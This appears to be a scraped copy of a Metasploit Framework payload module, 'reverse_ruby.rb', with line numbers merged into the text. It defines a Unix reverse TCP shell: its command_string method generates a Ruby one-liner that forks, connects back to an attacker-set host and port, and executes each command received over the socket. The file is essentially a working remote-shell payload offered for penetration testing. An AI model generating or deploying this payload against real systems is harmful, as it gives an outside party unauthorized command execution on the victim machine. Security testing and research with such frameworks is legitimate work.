Path: blob/master/modules/payloads/singles/cmd/unix/reverse_ruby.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 13378include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Reverse TCP (via Ruby)',16'Description' => 'Connect back and create a command shell via Ruby',17'Author' => 'kris katterjohn',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::ReverseTcp,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'ruby',25'Payload' => { 'Offsets' => {}, 'Payload' => '' }26)27)28register_advanced_options(29[30OptString.new('RubyPath', [true, 'The path to the Ruby executable', 'ruby'])31]32)33end3435def generate(_opts = {})36vprint_good(command_string)37return super + command_string38end3940def command_string41lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']42"#{datastore['RubyPath']} -rsocket -e 'exit if fork;c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"43end44end454647